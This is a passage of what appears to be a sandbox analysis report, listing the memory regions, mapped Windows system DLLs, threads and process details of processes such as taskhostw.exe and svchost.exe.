mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7390 start_va = 0xb809930000 end_va = 0xb8099affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b809930000" filename = "" Region: id = 7391 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7392 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7393 start_va = 0x25902680000 end_va = 0x25902807fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025902680000" filename = "" Region: id = 7394 start_va = 0x25902840000 end_va = 0x25902878fff monitored = 0 entry_point = 0x259028412f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7395 start_va = 0x7ffe5e0b0000 end_va = 0x7ffe5e0eafff monitored = 0 entry_point = 0x7ffe5e0b12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7396 start_va = 0x25902840000 end_va = 0x259029c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025902840000" filename = "" Region: id = 7397 start_va = 0x259029d0000 end_va = 0x25903dcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000259029d0000" filename = "" Region: id = 7398 start_va = 0x25902810000 end_va = 0x25902810fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskhostw.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhostw.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhostw.exe.mui") Region: id = 7399 start_va = 0x25902820000 end_va = 0x25902820fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025902820000" filename = "" Region: id = 7400 start_va = 0x25903dd0000 end_va = 0x25903dd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025903dd0000" filename = "" Region: id = 7401 start_va = 0x7ffe5b870000 end_va = 0x7ffe5b905fff monitored = 0 entry_point = 0x7ffe5b895570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 7402 start_va = 0x25903de0000 end_va = 0x25903f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025903de0000" filename = "" Region: id = 7403 start_va = 0x25903de0000 end_va = 0x25903de0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025903de0000" filename = "" Region: id = 7404 start_va = 0x25903f40000 end_va = 0x25903f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025903f40000" filename = "" Region: id = 7405 start_va = 0x7ffe5fa90000 end_va = 0x7ffe5fbe9fff monitored = 0 entry_point = 0x7ffe5fad38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7406 start_va = 0x25903de0000 end_va = 0x25903de0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025903de0000" filename = "" Region: id = 7407 start_va = 0x25903de0000 end_va = 0x25903e9bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025903de0000" filename = "" Region: id = 7408 start_va = 0x25903ea0000 end_va = 0x25903ea3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025903ea0000" filename = "" Region: id = 7409 start_va = 0x7ffe5a770000 end_va = 0x7ffe5a791fff monitored = 0 entry_point = 0x7ffe5a771a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 7410 start_va = 0xb809c00000 end_va = 0xb809c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b809c00000" filename = "" Region: id = 7411 start_va = 0x25903eb0000 end_va = 0x25903eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025903eb0000" filename = "" Region: id = 7412 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7413 start_va = 0x25903ec0000 end_va = 0x25903ec0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025903ec0000" filename = "" Region: id = 7414 start_va = 0x7ffe547e0000 end_va = 0x7ffe548d8fff monitored = 0 entry_point = 0x7ffe54828000 region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 7415 start_va = 0x25903ed0000 end_va = 0x25903ed1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025903ed0000" filename = "" Region: id = 7416 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7417 start_va = 0x7ffe5cf10000 end_va = 0x7ffe5cf23fff monitored = 0 entry_point = 0x7ffe5cf152e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7418 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7419 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7420 start_va = 0x7ffe5c8d0000 end_va = 0x7ffe5c8e6fff monitored = 0 entry_point = 0x7ffe5c8d79d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7421 start_va = 0x7ffe54710000 end_va = 0x7ffe547ddfff monitored = 0 entry_point = 0x7ffe547414c0 region_type = mapped_file name = "tokenbroker.dll" filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll") Region: id = 7422 start_va = 0x7ffe58300000 end_va = 0x7ffe58435fff monitored = 0 entry_point = 0x7ffe5832f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 7423 start_va = 0x25903f50000 end_va = 0x2590402cfff monitored = 0 entry_point = 0x25903fae0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7449 start_va = 0xb809c80000 end_va = 0xb809cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b809c80000" filename = "" Region: id = 7450 start_va = 0xb809d00000 end_va = 0xb809d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b809d00000" filename = "" Region: id = 7451 start_va = 0xb809d80000 end_va = 0xb809dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b809d80000" filename = "" Region: id = 7538 start_va = 0x7ffe5af90000 end_va = 0x7ffe5b422fff monitored = 0 entry_point = 0x7ffe5af9f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7539 start_va = 0x25903ee0000 end_va = 0x25903f0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025903ee0000" filename = "" Region: id = 7545 start_va = 0x7ffe56010000 end_va = 0x7ffe56050fff monitored = 0 entry_point = 0x7ffe56014840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Thread: id = 520 os_tid = 0x74c Thread: id = 522 os_tid = 0x754 Thread: id = 527 os_tid = 0x788 Thread: id = 528 os_tid = 0x78c Thread: id = 530 os_tid = 0x798 Thread: id = 531 os_tid = 0x79c Thread: id = 532 os_tid = 0x7a0 Process: id = "90" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x3e099000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "84" os_parent_pid = "0x210" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xa], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\DeviceAssociationService" [0xa], "NT SERVICE\\DevQueryBroker" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\DsSvc" [0xa], "NT SERVICE\\fhsvc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\NcbService" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\NgcSvc" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\ScDeviceEnum" [0xa], "NT SERVICE\\SensorService" [0xa], "NT SERVICE\\SmsRouter" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\svsvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\vmicguestinterface" [0xa], "NT SERVICE\\vmickvpexchange" [0xa], "NT SERVICE\\vmicshutdown" [0xa], "NT SERVICE\\vmicvmsession" [0xa], "NT SERVICE\\vmicvss" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\WiaRpc" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xe], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e4a1" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 7546 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7547 start_va = 0x143b030000 end_va = 0x143b0affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143b030000" filename = "" Region: id = 7548 start_va = 0x143b0b0000 end_va = 0x143b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143b0b0000" filename = "" Region: id = 7549 start_va = 0x143b130000 end_va = 0x143b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143b130000" filename = "" Region: id = 7550 start_va = 0x143b200000 end_va = 0x143b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143b200000" filename = "" Region: id = 7551 start_va = 0x143b600000 end_va = 0x143b6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143b600000" filename = "" Region: id = 7552 start_va = 0x143b700000 end_va = 0x143b7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143b700000" filename = "" Region: id = 7553 start_va = 0x143b800000 end_va = 0x143b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143b800000" filename = "" Region: id = 7554 start_va = 0x143ba00000 end_va = 0x143bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143ba00000" filename = "" Region: id = 7555 start_va = 0x143bb00000 end_va = 0x143bbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143bb00000" filename = "" Region: id = 7556 start_va = 0x143bd00000 end_va = 0x143bdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143bd00000" filename = "" Region: id = 7557 start_va = 0x143be00000 end_va = 0x143be7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143be00000" filename = "" Region: id = 7558 start_va = 0x143be80000 end_va = 0x143befffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143be80000" filename = "" Region: id = 7559 start_va = 0x143bf00000 end_va = 0x143bffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143bf00000" filename = "" Region: id = 7560 start_va = 0x143c000000 end_va = 0x143c0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000143c000000" filename = "" Region: id = 7561 start_va = 0x13b571c0000 end_va = 0x13b571cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b571c0000" filename = "" Region: id = 7562 start_va = 0x13b571d0000 end_va = 0x13b571d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 7563 start_va = 0x13b571e0000 end_va = 0x13b571f4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b571e0000" filename = "" Region: id = 7564 start_va = 0x13b57200000 end_va = 0x13b57203fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b57200000" filename = "" Region: id = 7565 start_va = 0x13b57210000 end_va = 0x13b57210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b57210000" filename = "" Region: id = 7566 start_va = 0x13b57220000 end_va = 0x13b57221fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57220000" filename = "" Region: id = 7567 start_va = 0x13b57230000 end_va = 0x13b57230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57230000" filename = "" Region: id = 7568 start_va = 0x13b57240000 end_va = 0x13b57246fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57240000" filename = "" Region: id = 7569 start_va = 0x13b57250000 end_va = 0x13b57250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57250000" filename = "" Region: id = 7570 start_va = 0x13b57260000 end_va = 0x13b57266fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57260000" filename = "" Region: id = 7571 start_va = 0x13b57270000 end_va = 0x13b57270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b57270000" filename = "" Region: id = 7572 start_va = 0x13b57280000 end_va = 0x13b57280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b57280000" filename = "" Region: id = 7573 start_va = 0x13b57290000 end_va = 0x13b57290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57290000" filename = "" Region: id = 7574 start_va = 0x13b572a0000 end_va = 0x13b572a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b572a0000" filename = "" Region: id = 7575 start_va = 0x13b572b0000 end_va = 0x13b572b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 7576 start_va = 0x13b572c0000 end_va = 0x13b572c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpointbuilder.dll.mui" filename = "\\Windows\\System32\\en-US\\AudioEndpointBuilder.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\audioendpointbuilder.dll.mui") Region: id = 7577 start_va = 0x13b57300000 end_va = 0x13b573fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57300000" filename = "" Region: id = 7578 start_va = 0x13b57400000 end_va = 0x13b574bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7579 start_va = 0x13b57500000 end_va = 0x13b575fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57500000" filename = "" Region: id = 7580 start_va = 0x13b57600000 end_va = 0x13b57787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b57600000" filename = "" Region: id = 7581 start_va = 0x13b57790000 end_va = 0x13b57910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b57790000" filename = "" Region: id = 7582 start_va = 0x13b57920000 end_va = 0x13b579dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000013b57920000" filename = "" Region: id = 7583 start_va = 0x13b57b90000 end_va = 0x13b57b96fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57b90000" filename = "" Region: id = 7584 start_va = 0x13b57c00000 end_va = 0x13b57cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000013b57c00000" filename = "" Region: id = 7585 start_va = 0x13b57d00000 end_va = 0x13b58036fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7586 start_va = 0x7df5ffd90000 end_va = 0x7ff5ffd8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffd90000" filename = "" Region: id = 7587 start_va = 0x7ff765fd0000 end_va = 0x7ff7660cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff765fd0000" filename = "" Region: id = 7588 start_va = 0x7ff7660d0000 end_va = 0x7ff7660f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7660d0000" filename = "" Region: id = 7589 start_va = 0x7ff7669a0000 end_va = 0x7ff7669acfff monitored = 0 entry_point = 0x7ff7669a3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 7590 start_va = 0x7ffe52330000 end_va = 0x7ffe52338fff monitored = 0 entry_point = 0x7ffe523321d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 7591 start_va = 0x7ffe526f0000 end_va = 0x7ffe52747fff monitored = 0 entry_point = 0x7ffe52707f80 region_type = mapped_file name = "ncbservice.dll" filename = "\\Windows\\System32\\ncbservice.dll" (normalized: "c:\\windows\\system32\\ncbservice.dll") Region: id = 7592 start_va = 0x7ffe54b80000 end_va = 0x7ffe54bb5fff monitored = 0 entry_point = 0x7ffe54b886d0 region_type = mapped_file name = "wudfplatform.dll" filename = "\\Windows\\System32\\WUDFPlatform.dll" (normalized: "c:\\windows\\system32\\wudfplatform.dll") Region: id = 7593 start_va = 0x7ffe54bc0000 end_va = 0x7ffe54bddfff monitored = 0 entry_point = 0x7ffe54bc3ce0 region_type = mapped_file name = "wudfsvc.dll" filename = "\\Windows\\System32\\WUDFSvc.dll" (normalized: "c:\\windows\\system32\\wudfsvc.dll") Region: id = 7594 start_va = 0x7ffe54fb0000 end_va = 0x7ffe54ff3fff monitored = 0 entry_point = 0x7ffe54fbc010 region_type = mapped_file name = "execmodelclient.dll" filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll") Region: id = 7595 start_va = 0x7ffe55000000 end_va = 0x7ffe5500dfff monitored = 0 entry_point = 0x7ffe55001460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 7596 start_va = 0x7ffe55fb0000 end_va = 0x7ffe55fe7fff monitored = 0 entry_point = 0x7ffe55fc8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 7597 start_va = 0x7ffe56100000 end_va = 0x7ffe5616ffff monitored = 0 entry_point = 0x7ffe56122960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 7598 start_va = 0x7ffe56170000 end_va = 0x7ffe561b9fff monitored = 0 entry_point = 0x7ffe56181450 region_type = mapped_file name = "audioendpointbuilder.dll" filename = "\\Windows\\System32\\AudioEndpointBuilder.dll" (normalized: "c:\\windows\\system32\\audioendpointbuilder.dll") Region: id = 7599 start_va = 0x7ffe561f0000 end_va = 0x7ffe5622ffff monitored = 0 entry_point = 0x7ffe56206c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 7600 start_va = 0x7ffe567e0000 end_va = 0x7ffe567f6fff monitored = 0 entry_point = 0x7ffe567e25d0 region_type = mapped_file name = "portabledeviceconnectapi.dll" filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll") Region: id = 7601 start_va = 0x7ffe56800000 end_va = 0x7ffe568a0fff monitored = 0 entry_point = 0x7ffe56803db0 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 7602 start_va = 0x7ffe568d0000 end_va = 0x7ffe568e9fff monitored = 0 entry_point = 0x7ffe568d4620 region_type = mapped_file name = "wpdbusenum.dll" filename = "\\Windows\\System32\\wpdbusenum.dll" (normalized: "c:\\windows\\system32\\wpdbusenum.dll") Region: id = 7603 start_va = 0x7ffe56e20000 end_va = 0x7ffe56e2bfff monitored = 0 entry_point = 0x7ffe56e22830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 7604 start_va = 0x7ffe5a800000 end_va = 0x7ffe5a83ffff monitored = 0 entry_point = 0x7ffe5a811960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 7605 start_va = 0x7ffe5a8b0000 end_va = 0x7ffe5a96dfff monitored = 0 entry_point = 0x7ffe5a8f2d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 7606 start_va = 0x7ffe5b4f0000 end_va = 0x7ffe5b675fff monitored = 0 entry_point = 0x7ffe5b53d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 7607 start_va = 0x7ffe5b6e0000 end_va = 0x7ffe5b6f2fff monitored = 0 entry_point = 0x7ffe5b6e2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7608 start_va = 0x7ffe5b930000 end_va = 0x7ffe5b956fff monitored = 0 entry_point = 0x7ffe5b937940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7609 start_va = 0x7ffe5c090000 end_va = 0x7ffe5c183fff monitored = 0 entry_point = 0x7ffe5c09a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 7610 start_va = 0x7ffe5c260000 end_va = 0x7ffe5c2b5fff monitored = 0 entry_point = 0x7ffe5c270bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 7611 start_va = 0x7ffe5c820000 end_va = 0x7ffe5c87bfff monitored = 0 entry_point = 0x7ffe5c836f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 7612 start_va = 0x7ffe5cbd0000 end_va = 0x7ffe5cbfcfff monitored = 0 entry_point = 0x7ffe5cbe9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7613 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7614 start_va = 0x7ffe5cef0000 end_va = 0x7ffe5cefffff monitored = 0 entry_point = 0x7ffe5cef56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7615 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7616 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7617 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7618 start_va = 0x7ffe5d920000 end_va = 0x7ffe5dae6fff monitored = 0 entry_point = 0x7ffe5d97db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7619 start_va = 0x7ffe5daf0000 end_va = 0x7ffe5db44fff monitored = 0 entry_point = 0x7ffe5db07970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 7620 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7621 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7622 start_va = 0x7ffe5dc80000 end_va = 0x7ffe5dcc2fff monitored = 0 entry_point = 0x7ffe5dc94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7623 start_va = 0x7ffe5dce0000 end_va = 0x7ffe5dce7fff monitored = 0 entry_point = 0x7ffe5dce1ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 7624 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7625 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7626 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7627 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7628 start_va = 0x7ffe5f700000 end_va = 0x7ffe5f751fff monitored = 0 entry_point = 0x7ffe5f70f530 region_type = mapped_file name = "shlwapi.dll" filename = 